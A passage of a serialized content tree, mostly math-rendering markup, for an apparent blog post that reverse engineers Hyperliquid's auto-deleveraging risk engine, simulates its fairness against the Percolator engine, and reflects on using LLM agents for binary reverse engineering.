ag":327,"props":171217,"children":171219},{"className":171218},[3043],[171220],{"type":24,"tag":327,"props":171221,"children":171223},{"className":171222,"style":99857},[3048],[171224],{"type":24,"tag":327,"props":171225,"children":171226},{},[],{"type":24,"tag":327,"props":171228,"children":171230},{"className":171229},[2977],[171231],{"type":29,"value":2899},{"type":24,"tag":327,"props":171233,"children":171235},{"className":171234},[2977],[171236,171241],{"type":24,"tag":327,"props":171237,"children":171239},{"className":171238,"style":129054},[2977,2978],[171240],{"type":29,"value":56292},{"type":24,"tag":327,"props":171242,"children":171244},{"className":171243},[3032],[171245],{"type":24,"tag":327,"props":171246,"children":171248},{"className":171247},[3037,3038],[171249,171278],{"type":24,"tag":327,"props":171250,"children":171252},{"className":171251},[3043],[171253,171273],{"type":24,"tag":327,"props":171254,"children":171256},{"className":171255,"style":100303},[3048],[171257],{"type":24,"tag":327,"props":171258,"children":171259},{"style":168002},[171260,171264],{"type":24,"tag":327,"props":171261,"children":171263},{"className":171262,"style":3059},[3058],[],{"type":24,"tag":327,"props":171265,"children":171267},{"className":171266},[3064,3065,3066,3067],[171268],{"type":24,"tag":327,"props":171269,"children":171271},{"className":171270},[2977,2978,3067],[171272],{"type":29,"value":11334},{"type":24,"tag":327,"props":171274,"children":171276},{"className":171275},[3150],[171277],{"type":29,"value":3153},{"type":24,"tag":327,"props":171279,"children":171281},{"className":171280},[3043],[171282],{"type":24,"tag":327,"props":171283,"children":171285},{"className":171284,"style":99857},[3048],[171286],{"type":24,"tag":327,"props":171287,"children":171288},{},[],{"type":29,"value":171290}," for each winner with ",{"type":24,"tag":284,"props":171292,"children":171294},{"className":171293},[2949,2950],[171295],{"type":24,"tag":327,"props":171296,"children":171298},{"className":171297},[2955],[171299],{"type":24,"tag":327,"props":171300,"children":171302},{"className":171301,"ariaHidden":2961},[2960],[171303,171382],{"type":24,"tag":327,"props":171304,"children":171306},{"className":171305},[2966],[171307,171312,171369,171373,171378],{"type":24,"tag":327,"props":171308,"children":171311},{"className":171309,"style":171310},[2971],"height:0.6891em;vertical-align:-0.15em;",[],{"type":24,"tag":327,"props":171313,"children":171315},{"className":171314},[2977],[171316,171321],{"type":24,"tag":327,"props":171317,"children":171319},{"className":171318,"style":129054},[2977,2978],[171320],{"type":29,"value":56292},{"type":24,"tag":327,"props":171322,"children":171324},{"className":171323},[3032],[171325],{"type":24,"tag":327,"props":171326,"children":171328},{"className":171327},[3037,3038],[171329,171358],{"type":24,"tag":327,"props":171330,"children":171332},{"className":171331},[3043],[171333,171353],{"type":24,"tag":327,"props":171334,"children":171336},{"className":171335,"style":100303},[3048],[171337],{"type":24,"tag":327,"props":171338,"children":171339},{"style":168002},[171340,171344],{"type":24,"tag":327,"props":171341,"children":171343},{"className":171342,"style":3059},[3058],[],{"type":24,"tag":327,"props":171345,"children":171347},{"className":171346},[3064,3065,3066,3067],[171348],{"type":24,"tag":327,"props":171349,"children":171351},{"className":171350},[2977,2978,3067],[171352],{"type":29,"value":11334},{"type":24,"tag":327,"props":171354,"children":171356},{"className":171355},[3150],[171357],{"type":29,"value":3153},{"type":24,"tag":327,"props":171359,"children":171361},{"className":171360},[3043],[171362],{"type":24,"tag":327,"props":171363,"children":171365},{"className":171364,"style":99857},[3048],[171366],{"type":24,"tag":327,"props":171367,"children":171368},{},[],{"type":24,"tag":327,"props":171370,"children":171372},{"className":171371,"style":2993},[2992],[],{"type":24,"tag":327,"props":171374,"children":171376},{"className":171375},[2998],[171377],{"type":29,"value":438},{"type":24,"tag":327,"props":171379,"children":171381},{"className":171380,"style":2993},[2992],[],{"type":24,"tag":327,"props":171383,"children":171385},{"className":171384},[2966],[171386,171390],{"type":24,"tag":327,"props":171387,"children":171389},{"className":171388,"style":100805},[2971],[],{"type":24,"tag":327,"props":171391,"children":171393},{"className":171392},[2977],[171394],{"type":29,"value":2988},{"type":29,"value":171396}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":24,"tag":284,"props":171398,"children":171400},{"className":171399},[2949,2950],[171401],{"type":24,"tag":327,"props":171402,"children":171404},{"className":171403},[2955],[171405],{"type":24,"tag":327,"props":171406,"children":171408},{"className":171407,"ariaHidden":2961},[2960],[171409,171435],{"type":24,"tag":327,"props":171410,"children":171412},{"className":171411},[2966],[171413,171417,171422,171426,171431],{"type":24,"tag":327,"props":171414,"children":171416},{"className":171415,"style":2972},[2971],[],{"type":24,"tag":327,"props":171418,"children":171420},{"className":171419,"style":2979},[2977,2978],[171421],{"type":29,"value":128552},{"type":24,"tag":327,"props":171423,"children":171425},{"className":171424,"style":2993},[2992],[],{"type":24,"tag":327,"props":171427,"children":171429},{"className":171428},[2998],[171430],{"type":29,"value":384},{"type":24,"tag":327,"props":171432,"children":171434},{"className":171433,"style":2993},[2992],[],{"type":24,"tag":327,"props":171436,"children":171438},{"className":171437},[2966],[171439,171443],{"type":24,"tag":327,"props":171440,"children":171442},{"className":171441,"style":100805},[2971],[],{"type":24,"tag":327,"props":171444,"children":171446},{"className":171445},[2977],[171447],{"type":29,"value":3238},{"type":29,"value":171449}," means everyone loses the same fraction of their PNL. ",{"type":24,"tag":284,"props":171451,"children":171453},{"className":171452},[2949,2950],[171454],{"type":24,"tag":327,"props":171455,"children":171457},{"className":171456},[2955],[171458],{"type":24,"tag":327,"props":171459,"children":171461},{"className":171460,"ariaHidden":2961},[2960],[171462,171489],{"type":24,"tag":327,"props":171463,"children":171465},{"className":171464},[2966],[171466,171470,171475,171479,171485],{"type":24,"tag":327,"props":171467,"children":171469},{"className":171468,"style":2972},[2971],[],{"type":24,"tag":327,"props":171471,"children":171473},{"className":171472,"style":2979},[2977,2978],[171474],{"type":29,"value":128552},{"type":24,"tag":327,"props":171476,"children":171478},{"className":171477,"style":2993},[2992],[],{"type":24,"tag":327,"props":171480,"children":171482},{"className":171481},[2998],[171483],{"type":29,"value":171484},"≈",{"type":24,"tag":327,"props":171486,"children":171488},{"className":171487,"style":2993},[2992],[],{"type":24,"tag":327,"props":171490,"children":171492},{"className":171491},[2966],[171493,171497],{"type":24,"tag":327,"props":171494,"children":171496},{"className":171495,"style":100805},[2971],[],{"type":24,"tag":327,"props":171498,"children":171500},{"className":171499},[2977],[171501],{"type":29,"value":2988},{"type":29,"value":171503}," means a few get wiped while most are untouched.",{"type":24,"tag":179,"props":171505,"children":171506},{},[171507,171511,171512,171670,171672,171766,171768],{"type":24,"tag":42,"props":171508,"children":171509},{},[171510],{"type":29,"value":167606},{"type":29,"value":39622},{"type":24,"tag":284,"props":171513,"children":171515},{"className":171514},[2949,2950],[171516],{"type":24,"tag":327,"props":171517,"children":171519},{"className":171518},[2955],[171520],{"type":24,"tag":327,"props":171521,"children":171523},{"className":171522,"ariaHidden":2961},[2960],[171524],{"type":24,"tag":327,"props":171525,"children":171527},{"className":171526},[2966],[171528,171533,171608,171613],{"type":24,"tag":327,"props":171529,"children":171532},{"className":171530,"style":171531},[2971],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":24,"tag":327,"props":171534,"children":171536},{"className":171535},[2977],[171537,171542],{"type":24,"tag":327,"props":171538,"children":171540},{"className":171539,"style":101782},[2977,2978],[171541],{"type":29,"value":168331},{"type":24,"tag":327,"props":171543,"children":171545},{"className":171544},[3032],[171546],{"type":24,"tag":327,"props":171547,"children":171549},{"className":171548},[3037,3038],[171550,171596],{"type":24,"tag":327,"props":171551,"children":171553},{"className":171552},[3043],[171554,171591],{"type":24,"tag":327,"props":171555,"children":171557},{"className":171556,"style":115491},[3048],[171558,171575],{"type":24,"tag":327,"props":171559,"children":171561},{"style":171560},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[171562,171566],{"type":24,"tag":327,"props":171563,"children":171565},{"className":171564,"style":3059},[3058],[],{"type":24,"tag":327,"props":171567,"children":171569},{"className":171568},[3064,3065,3066,3067],[171570],{"type":24,"tag":327,"props":171571,"children":171573},{"className":171572,"style":2979},[2977,2978,3067],[171574],{"type":29,"value":13555},{"type":24,"tag":327,"props":171576,"children":171577},{"style":11628},[171578,171582],{"type":24,"tag":327,"props":171579,"children":171581},{"className":171580,"style":3059},[3058],[],{"type":24,"tag":327,"props":171583,"children":171585},{"className":171584},[3064,3065,3066,3067],[171586],{"type":24,"tag":327,"props":171587,"children":171589},{"className":171588,"style":100260},[2977,2978,3067],[171590],{"type":29,"value":167845},{"type":24,"tag":327,"props":171592,"children":171594},{"className":171593},[3150],[171595],{"type":29,"value":3153},{"type":24,"tag":327,"props":171597,"children":171599},{"className":171598},[3043],[171600],{"type":24,"tag":327,"props":171601,"children":171604},{"className":171602,"style":171603},[3048],"height:0.2753em;",[171605],{"type":24,"tag":327,"props":171606,"children":171607},{},[],{"type":24,"tag":327,"props":171609,"children":171611},{"className":171610},[2977],[171612],{"type":29,"value":2899},{"type":24,"tag":327,"props":171614,"children":171616},{"className":171615},[2977],[171617,171622],{"type":24,"tag":327,"props":171618,"children":171620},{"className":171619,"style":101782},[2977,2978],[171621],{"type":29,"value":168331},{"type":24,"tag":327,"props":171623,"children":171625},{"className":171624},[3032],[171626],{"type":24,"tag":327,"props":171627,"children":171629},{"className":171628},[3037,3038],[171630,171659],{"type":24,"tag":327,"props":171631,"children":171633},{"className":171632},[3043],[171634,171654],{"type":24,"tag":327,"props":171635,"children":171637},{"className":171636,"style":149329},[3048],[171638],{"type":24,"tag":327,"props":171639,"children":171640},{"style":168350},[171641,171645],{"type":24,"tag":327,"props":171642,"children":171644},{"className":171643,"style":3059},[3058],[],{"type":24,"tag":327,"props":171646,"children":171648},{"className":171647},[3064,3065,3066,3067],[171649],{"type":24,"tag":327,"props":171650,"children":171652},{"className":171651,"style":2979},[2977,2978,3067],[171653],{"type":29,"value":13555},{"type":24,"tag":327,"props":171655,"children":171657},{"className":171656},[3150],[171658],{"type":29,"value":3153},{"type":24,"tag":327,"props":171660,"children":171662},{"className":171661},[3043],[171663],{"type":24,"tag":327,"props":171664,"children":171666},{"className":171665,"style":99857},[3048],[171667],{"type":24,"tag":327,"props":171668,"children":171669},{},[],{"type":29,"value":171671}," — ",{"type":24,"tag":284,"props":171673,"children":171675},{"className":171674},[2949,2950],[171676],{"type":24,"tag":327,"props":171677,"children":171679},{"className":171678},[2955],[171680],{"type":24,"tag":327,"props":171681,"children":171683},{"className":171682,"ariaHidden":2961},[2960],[171684],{"type":24,"tag":327,"props":171685,"children":171687},{"className":171686},[2966],[171688,171693],{"type":24,"tag":327,"props":171689,"children":171692},{"className":171690,"style":171691},[2971],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":24,"tag":327,"props":171694,"children":171696},{"className":171695},[2977],[171697,171702],{"type":24,"tag":327,"props":171698,"children":171700},{"className":171699,"style":101782},[2977,2978],[171701],{"type":29,"value":168331},{"type":24,"tag":327,"props":171703,"children":171705},{"className":171704},[3032],[171706],{"type":24,"tag":327,"props":171707,"children":171709},{"className":171708},[3037,3038],[171710,171755],{"type":24,"tag":327,"props":171711,"children":171713},{"className":171712},[3043],[171714,171750],{"type":24,"tag":327,"props":171715,"children":171717},{"className":171716,"style":115491},[3048],[171718,171734],{"type":24,"tag":327,"props":171719,"children":171720},{"style":171560},[171721,171725],{"type":24,"tag":327,"props":171722,"children":171724},{"className":171723,"style":3059},[3058],[],{"type":24,"tag":327,"props":171726,"children":171728},{"className":171727},[3064,3065,3066,3067],[171729],{"type":24,"tag":327,"props":171730,"children":171732},{"className":171731,"style":2979},[2977,2978,3067],[171733],{"type":29,"value":13555},{"type":24,"tag":327,"props":171735,"children":171736},{"style":11628},[171737,171741],{"type":24,"tag":327,"props":171738,"children":171740},{"className":171739,"style":3059},[3058],[],{"type":24,"tag":327,"props":171742,"children":171744},{"className":171743},[3064,3065,3066,3067],[171745],{"type":24,"tag":327,"props":171746,"children":171748},{"className":171747,"style":100260},[2977,2978,3067],[171749],{"type":29,"value":167845},{"type":24,"tag":327,"props":171751,"children":171753},{"className":171752},[3150],[171754],{"type":29,"value":3153},{"type":24,"tag":327,"props":171756,"children":171758},{"className":171757},[3043],[171759],{"type":24,"tag":327,"props":171760,"children":171762},{"className":171761,"style":171603},[3048],[171763],{"type":24,"tag":327,"props":171764,"children":171765},{},[],{"type":29,"value":171767}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":24,"tag":284,"props":171769,"children":171771},{"className":171770},[2949,2950],[171772],{"type":24,"tag":327,"props":171773,"children":171775},{"className":171774},[2955],[171776],{"type":24,"tag":327,"props":171777,"children":171779},{"className":171778,"ariaHidden":2961},[2960],[171780],{"type":24,"tag":327,"props":171781,"children":171783},{"className":171782},[2966],[171784,171788],{"type":24,"tag":327,"props":171785,"children":171787},{"className":171786,"style":117615},[2971],[],{"type":24,"tag":327,"props":171789,"children":171791},{"className":171790,"style":100260},[2977,2978],[171792],{"type":29,"value":167845},{"type":24,"tag":25,"props":171794,"children":171795},{},[171796],{"type":29,"value":171797},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":24,"tag":171799,"props":171800,"children":171802},"git-hub-repo-link",{"url":171801},"https://github.com/aeyakovenko/percolator",[],{"type":24,"tag":25,"props":171804,"children":171805},{},[171806,171808,171813],{"type":29,"value":171807},"Given a fixed ",{"type":24,"tag":42,"props":171809,"children":171810},{},[171811],{"type":29,"value":171812},"a priori",{"type":29,"value":171814}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":24,"tag":25,"props":171816,"children":171817},{},[171818,171820,171825,171827,171904],{"type":29,"value":171819},"One prediction that we can make is that Percolator is ",{"type":24,"tag":42,"props":171821,"children":171822},{},[171823],{"type":29,"value":171824},"perfectly fair",{"type":29,"value":171826}," according to this scoring: the ",{"type":24,"tag":284,"props":171828,"children":171830},{"className":171829},[2949,2950],[171831],{"type":24,"tag":327,"props":171832,"children":171834},{"className":171833},[2955],[171835],{"type":24,"tag":327,"props":171836,"children":171838},{"className":171837,"ariaHidden":2961},[2960],[171839],{"type":24,"tag":327,"props":171840,"children":171842},{"className":171841},[2966],[171843,171847],{"type":24,"tag":327,"props":171844,"children":171846},{"className":171845,"style":149053},[2971],[],{"type":24,"tag":327,"props":171848,"children":171850},{"className":171849},[2977],[171851,171856],{"type":24,"tag":327,"props":171852,"children":171854},{"className":171853},[2977,2978],[171855],{"type":29,"value":91072},{"type":24,"tag":327,"props":171857,"children":171859},{"className":171858},[3032],[171860],{"type":24,"tag":327,"props":171861,"children":171863},{"className":171862},[3037,3038],[171864,171893],{"type":24,"tag":327,"props":171865,"children":171867},{"className":171866},[3043],[171868,171888],{"type":24,"tag":327,"props":171869,"children":171871},{"className":171870,"style":100303},[3048],[171872],{"type":24,"tag":327,"props":171873,"children":171874},{"style":99830},[171875,171879],{"type":24,"tag":327,"props":171876,"children":171878},{"className":171877,"style":3059},[3058],[],{"type":24,"tag":327,"props":171880,"children":171882},{"className":171881},[3064,3065,3066,3067],[171883],{"type":24,"tag":327,"props":171884,"children":171886},{"className":171885},[2977,2978,3067],[171887],{"type":29,"value":11334},{"type":24,"tag":327,"props":171889,"children":171891},{"className":171890},[3150],[171892],{"type":29,"value":3153},{"type":24,"tag":327,"props":171894,"children":171896},{"className":171895},[3043],[171897],{"type":24,"tag":327,"props":171898,"children":171900},{"className":171899,"style":99857},[3048],[171901],{"type":24,"tag":327,"props":171902,"children":171903},{},[],{"type":29,"value":171905}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":24,"tag":25,"props":171907,"children":171908},{},[171909,171911,171916],{"type":29,"value":171910},"We are ignoring the ",{"type":24,"tag":42,"props":171912,"children":171913},{},[171914],{"type":29,"value":171915},"a posteriori",{"type":29,"value":171917}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":24,"tag":25,"props":171919,"children":171920},{},[171921],{"type":29,"value":171922},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":24,"tag":228,"props":171924,"children":171926},{"id":171925},"simulations",[171927],{"type":29,"value":171928},"Simulations",{"type":24,"tag":25,"props":171930,"children":171931},{},[171932],{"type":29,"value":171933},"Let's consider the following price scenarios, as we said:",{"type":24,"tag":25,"props":171935,"children":171936},{},[171937],{"type":24,"tag":11511,"props":171938,"children":171941},{"alt":171939,"src":171940},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":24,"tag":25,"props":171943,"children":171944},{},[171945],{"type":29,"value":171946},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":24,"tag":25,"props":171948,"children":171949},{},[171950],{"type":24,"tag":11511,"props":171951,"children":171954},{"alt":171952,"src":171953},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":24,"tag":235,"props":171956,"children":171958},{"id":171957},"percolator-is-more-optimistic",[171959],{"type":29,"value":171960},"Percolator Is More \"Optimistic\"",{"type":24,"tag":25,"props":171962,"children":171963},{},[171964,171966,171971,171973,171978,171980,171986,171988,171993],{"type":29,"value":171965},"The key difference is what happens to positions. ADL ",{"type":24,"tag":42,"props":171967,"children":171968},{},[171969],{"type":29,"value":171970},"permanently closes",{"type":29,"value":171972}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":24,"tag":42,"props":171974,"children":171975},{},[171976],{"type":29,"value":171977},"withdraw",{"type":29,"value":171979},", but the position stays open. If conditions improve, ",{"type":24,"tag":284,"props":171981,"children":171983},{"className":171982},[],[171984],{"type":29,"value":171985},"Residual",{"type":29,"value":171987}," goes up, ",{"type":24,"tag":284,"props":171989,"children":171991},{"className":171990},[],[171992],{"type":29,"value":91072},{"type":29,"value":171994}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":24,"tag":25,"props":171996,"children":171997},{},[171998,172000,172004],{"type":29,"value":171999},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":24,"tag":42,"props":172001,"children":172002},{},[172003],{"type":29,"value":1534},{"type":29,"value":172005}," per position, though the tradeoff is that fewer traders get to participate.",{"type":24,"tag":25,"props":172007,"children":172008},{},[172009],{"type":24,"tag":11511,"props":172010,"children":172013},{"alt":172011,"src":172012},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":24,"tag":228,"props":172015,"children":172017},{"id":172016},"some-points-to-be-made",[172018],{"type":29,"value":172019},"Some Points to Be Made",{"type":24,"tag":235,"props":172021,"children":172023},{"id":172022},"percolator-is-indifferent-to-leverage",[172024],{"type":29,"value":172025},"Percolator Is Indifferent to Leverage",{"type":24,"tag":25,"props":172027,"children":172028},{},[172029],{"type":29,"value":172030},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":24,"tag":25,"props":172032,"children":172033},{},[172034],{"type":24,"tag":11511,"props":172035,"children":172038},{"alt":172036,"src":172037},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":24,"tag":235,"props":172040,"children":172042},{"id":172041},"fairness",[172043],{"type":29,"value":167596},{"type":24,"tag":25,"props":172045,"children":172046},{},[172047],{"type":29,"value":172048},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":24,"tag":25,"props":172050,"children":172051},{},[172052],{"type":24,"tag":11511,"props":172053,"children":172056},{"alt":172054,"src":172055},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":24,"tag":25,"props":172058,"children":172059},{},[172060,172062,172067],{"type":29,"value":172061},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":24,"tag":284,"props":172063,"children":172065},{"className":172064},[],[172066],{"type":29,"value":166098},{"type":29,"value":172068}," we start by fully closing the worst position against the best-performing trader.",{"type":24,"tag":228,"props":172070,"children":172072},{"id":172071},"strengths-and-limitations-of-agents-for-reverse-engineering",[172073],{"type":29,"value":172074},"Strengths and Limitations of Agents for Reverse Engineering",{"type":24,"tag":25,"props":172076,"children":172077},{},[172078],{"type":29,"value":172079},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":24,"tag":235,"props":172081,"children":172083},{"id":172082},"hooks",[172084],{"type":29,"value":172085},"Hooks",{"type":24,"tag":25,"props":172087,"children":172088},{},[172089,172091,172095],{"type":29,"value":172090},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":24,"tag":42,"props":172092,"children":172093},{},[172094],{"type":29,"value":172082},{"type":29,"value":172096},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":24,"tag":25,"props":172098,"children":172099},{},[172100],{"type":29,"value":172101},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":24,"tag":235,"props":172103,"children":172105},{"id":172104},"scale",[172106],{"type":29,"value":172107},"Scale",{"type":24,"tag":25,"props":172109,"children":172110},{},[172111],{"type":29,"value":172112},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":24,"tag":25,"props":172114,"children":172115},{},[172116],{"type":29,"value":172117},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":24,"tag":235,"props":172119,"children":172121},{"id":172120},"whats-next",[172122],{"type":29,"value":172123},"What's next?",{"type":24,"tag":25,"props":172125,"children":172126},{},[172127],{"type":29,"value":172128},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":24,"tag":171799,"props":172130,"children":172131},{"url":165759},[],{"type":24,"tag":25,"props":172133,"children":172134},{},[172135],{"type":29,"value":172136},"The analyzed binary can be found here:",{"type":24,"tag":166079,"props":172138,"children":172141},{"path":172139,"name":165683,"size":172140},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":24,"tag":235,"props":172143,"children":172145},{"id":172144},"closing-words",[172146],{"type":29,"value":172147},"Closing Words",{"type":24,"tag":25,"props":172149,"children":172150},{},[172151],{"type":29,"value":172152},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":24,"tag":25,"props":172154,"children":172155},{},[172156,172158,172163],{"type":29,"value":172157},"Flagship models got us 60% of the way there, but a lot of ",{"type":24,"tag":42,"props":172159,"children":172160},{},[172161],{"type":29,"value":172162},"manual",{"type":29,"value":172164}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":24,"tag":25,"props":172166,"children":172167},{},[172168],{"type":29,"value":172169},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":24,"tag":25,"props":172171,"children":172172},{},[172173],{"type":29,"value":172174},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":24,"tag":172176,"props":172177,"children":172178},"report-footnotes",{},[172179],{"type":24,"tag":175,"props":172180,"children":172181},{},[172182,172187,172214,172219,172224],{"type":24,"tag":179,"props":172183,"children":172184},{},[172185],{"type":29,"value":172186},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":24,"tag":179,"props":172188,"children":172189},{},[172190,172196,172198,172204,172206,172212],{"type":24,"tag":284,"props":172191,"children":172193},{"className":172192},[],[172194],{"type":29,"value":172195},"compute_user_margin_and_shortfall",{"type":29,"value":172197}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":24,"tag":284,"props":172199,"children":172201},{"className":172200},[],[172202],{"type":29,"value":172203},"0x748",{"type":29,"value":172205}," in the abstract expressions of ",{"type":24,"tag":284,"props":172207,"children":172209},{"className":172208},[],[172210],{"type":29,"value":172211},"btree_cursor",{"type":29,"value":172213},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":24,"tag":179,"props":172215,"children":172216},{},[172217],{"type":29,"value":172218},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":24,"tag":179,"props":172220,"children":172221},{},[172222],{"type":29,"value":172223},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":24,"tag":179,"props":172225,"children":172226},{},[172227,172229,172235],{"type":29,"value":172228},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":24,"tag":284,"props":172230,"children":172232},{"className":172231},[],[172233],{"type":29,"value":172234},"s3://hl-mainnet-node-data/explorer_blocks",{"type":29,"value":66},{"title":7,"searchDepth":367,"depth":367,"links":172237},[172238,172239,172240,172241,172242,172245,172246,172247,172250,172251,172254,172258],{"id":165629,"depth":367,"text":165632},{"id":165622,"depth":367,"text":165650},{"id":165707,"depth":367,"text":165710},{"id":165988,"depth":367,"text":165991},{"id":166022,"depth":367,"text":166025,"children":172243},[172244],{"id":166161,"depth":408,"text":166164},{"id":166940,"depth":367,"text":166943},{"id":167036,"depth":367,"text":167039},{"id":167254,"depth":367,"text":167257,"children":172248},[172249],{"id":167499,"depth":408,"text":167502},{"id":167559,"depth":367,"text":167562},{"id":171925,"depth":367,"text":171928,"children":172252},[172253],{"id":171957,"depth":408,"text":171960},{"id":172016,"depth":367,"text":172019,"children":172255},[172256,172257],{"id":172022,"depth":408,"text":172025},{"id":172041,"depth":408,"text":167596},{"id":172071,"depth":367,"text":172074,"children":172259},[172260,172261,172262,172263],{"id":172082,"depth":408,"text":172085},{"id":172104,"depth":408,"text":172107},{"id":172120,"depth":408,"text":172123},{"id":172144,"depth":408,"text":172147},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630601]